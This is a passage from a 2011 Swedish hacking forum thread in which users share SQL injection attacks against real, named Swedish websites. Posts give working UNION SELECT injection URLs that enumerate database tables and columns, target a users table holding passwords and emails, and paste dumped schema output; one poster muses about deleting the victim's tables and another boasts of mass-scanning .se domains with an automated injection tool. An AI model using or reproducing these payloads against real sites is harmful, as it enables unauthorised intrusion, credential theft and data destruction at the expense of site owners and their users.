2011-02-23, 22:37
#2233
2011-02-23, 22:58
#2234
__________________
Senast redigerad av fooztr 2011-02-23 kl. 23:03.
Senast redigerad av fooztr 2011-02-23 kl. 23:03.
2011-02-24, 12:27
#2235
2011-02-24, 23:31
#2239
Citat:
Ursprungligen postat av Gh0sted
Kod:
http://www.stigagames.se/retailers.php?id=191'
Kod:
http://www.stigagames.se/retailers.php?id=-191%20union%20all%20select%201,2,3,4,convert(table_name%20using%20latin1),6,7,8,9, 10,11%20from%20information_schema.tables-- http://www.stigagames.se/retailers.php?id=-191%20union%20all%20select%201,2,3,4,convert(column_name%20using%20latin1),6,7,8,9 ,10,11%20from%20information_schema.columns--
...tycker jag hittar rätt tabell och kolumner men injektion funkar inte
någon som kan detta bättre får gärna upplysa mig..?tabellen jag trodde va rätt: STIGA_USERS
kolumner som är intressanta: SPELARE, LOSEN, EMAIL
2011-02-25, 00:21
#2240
__________________
Senast redigerad av vicious 2011-02-25 kl. 00:32. Anledning: länk
Senast redigerad av vicious 2011-02-25 kl. 00:32. Anledning: länk
2011-02-25, 04:41
#2241
http://drzipe.se/
Hejsan, är faktiskt helt ny med detta.. Jag gjorde detta i utbildningssyfte då ^^
Här har ni sidan :
Synd att det inte var sån "Login" sida.. Då kunde man haffat åt sig usernames & passwords
Börjar lära mig lite grann hihi
Stackars DrZipe.. Man kan väl "förstöra" hela hans sida genom att "deleta" hans tabeller & hela köret? :P
Han borde ha sin hemsida mer säkrare om han inte vill att den ska bli "hackad" ^^
( Speciellt av en amatör, har läst lite om det nu osv testat mig fram börjat fatta en del )
Tabeller
Bedömm gärna från 1^-> 10 .. Fast ni får vara lite schysta nu va
Började i natt (A)
Är helt lärvillig till att utvecka mig i detta, någon som kan mycket ?
Hejsan, är faktiskt helt ny med detta.. Jag gjorde detta i utbildningssyfte då ^^
Här har ni sidan :
Kod:
http://drzipe.se/googles.php?id=-2 UNION SELECT 1,2,3,4,5,group_concat(title),7,8,9,10,11,12,13,14,15,16,17,18,19 from drzipe.table_dirtgearpages--
Synd att det inte var sån "Login" sida.. Då kunde man haffat åt sig usernames & passwords
Börjar lära mig lite grann hihi
Stackars DrZipe.. Man kan väl "förstöra" hela hans sida genom att "deleta" hans tabeller & hela köret? :P
Han borde ha sin hemsida mer säkrare om han inte vill att den ska bli "hackad" ^^
( Speciellt av en amatör, har läst lite om det nu osv testat mig fram börjat fatta en del )
Tabeller
Kod:
table_dirtgearpagesKod:table_gearpagesid title startimage text_1 head_2 text_2 img_1 img_1_text img_1_url img_1_url_target img_2 img_2_text img_2_url img_2_url_target img_3 img_3_text img_3_url img_3_url_target imgFolderKod:table_googlepagesid title geartype startimage text_1 head_2 text_2 img_1 img_1_text img_1_url img_1_url_target img_2 img_2_text img_2_url img_2_url_target img_3 img_3_text img_3_url img_3_url_target imgFolderKod:tbl_dirtgearid title startimage text_1 head_2 text_2 img_1 img_1_text img_1_url img_1_url_target img_2 img_2_text img_2_url img_2_url_target img_3 img_3_text img_3_url img_3_url_target imgFolderKod:tbl_dirtgearmenuid motherpage small_img articlenr frame lens strap headbolt isActiveKod:tbl_distributorsid articleName category dirtgearpageId sortOrderKod:tbl_gearid market_name adressrow_1 adressrow_2 adressrow_3 adressrow_4 adressrow_5 fax tel www emailKod:tbl_gearmenuid motherpage small_img articlenr color lens size frame extraInfo isActiveKod:tbl_gogglemenuid articleName category gearpageId sortOrderKod:tbl_googlesid articleName category gogglepageId sortOrderKod:tbl_inst_eventsid motherpage small_img articlenr frame lens strap headbolt isActiveKod:( PS, sidan var för stor kunde inte "få" ut all info ( Är nybörjare med ^^ ) tbl_inst_friends tbl_inst_links tbl_inst_youtube tbl_journals tbl_patientsid head text eventd........
Bedömm gärna från 1^-> 10 .. Fast ni får vara lite schysta nu va
Började i natt (A)Är helt lärvillig till att utvecka mig i detta, någon som kan mycket ?
2011-02-25, 12:54
#2244
Citat:
Ursprungligen postat av TheDetektiv
Ej slutfört
Slutför det så får du en rättvis bedömning.
Någon av er som testat att enbart scanna efter .se domäner? Fan vilken skillnad man märker.
Kan ha vart en slump, men för det första så klarade Havij av utan problem att plocka fram allt i 8/10 fall, dessutom upplevde jag dessa .se domäner som bra mycket snabbare än servrar ifrån andra länder.
Kass säkerhet, underbar responstid..
__________________
Senast redigerad av Gh0sted 2011-02-25 kl. 12:59.
Senast redigerad av Gh0sted 2011-02-25 kl. 12:59.
Skapa ett konto eller logga in för att kommentera
Du måste vara medlem för att kunna kommentera
